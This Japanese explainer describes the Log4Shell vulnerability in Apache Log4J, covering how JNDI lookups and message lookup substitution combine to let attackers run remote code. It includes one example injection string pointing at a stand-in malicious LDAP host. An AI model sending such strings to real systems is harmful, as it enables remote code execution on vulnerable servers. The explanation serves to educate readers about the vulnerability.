Log4Shellは、Apache Software Foundationが管理するオープンソースのログ・ライブラリーであるLog4Jに影響します。Log4Jはロガーであり、エラー・メッセージやユーザー・インプットなどの情報やイベントをプログラムに記録するソフトウェア・コンポーネントです。
Log4Jはスタンドアロン・プログラムではなく、開発者がロガーをゼロから構築せずにJavaアプリケーションにプラグインできるコードのパッケージです。Apple、Twitter、Amazon、Microsoft、Cloudflare、Ciscoなどの大手組織は、自社のソフトウェアとサービスでLog4Jを使用しています。
Log4Shell は、脆弱なバージョンのLog4JでJava Naming and Directory Interface(JNDI)ルックアップ置換とメッセージ・ルックアップ置換という2つの関連機能を処理する方法から生まれました。それぞれの機能は単独では無害ですが、相互作用によってハッカーは強力な武器を手に入れることになります。
JNDIは、外部サーバーにホストされているリソースにJavaアプリケーションがアクセスするために使用するアプリケーション・プログラミング・インターフェース(API)です。JNDIルックアップは、サーバーにアクセスしてデータやスクリプトなどの特定のオブジェクトをダウンロードするようにアプリに指示するコマンドです。Log4J 2の古いバージョンでは、この方法でダウンロードされたコードはすべて自動的に実行されます。
メッセージ検索置換を使用すると、ユーザーとアプリは、特定の構文である${prefix:name}を使用して、ログメッセージ内で変数をLog4Jに送信できます。Log4Jは、この構文を検出すると、変数を解決し、ログに値を記録します。たとえば、Log4Jが次のようなメッセージを受信したとします。
${java:version}
これでデバイスで実行されているJavaの現在のバージョンがわかります。ログには、「Java version X.XX」と記録されます。
つまり、Log4Jはメッセージ・ルックアップ置換をプレーンテキストのようには扱いません。それらをコマンドのように扱い、その内容に基づいてアクションを実行します。ハッカーはこの事実を利用して、悪意のあるJNDIルックアップ・コマンドを脆弱なバージョンのLog4Jを実行中のアプリに送信できます。たとえば、ハッカーは次のような文字列をLog4Jに送信できます。
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Log4Jはこのメッセージを受信すると、myevilwebsite.bizのサーバーにアクセスし、/maliciouscodeにあるオブジェクトをダウンロードすることで変数を解決します。このプロセスにより、Log4Jはハッカーがその場所に隠したJavaコード(通常はマルウェア)を実行します。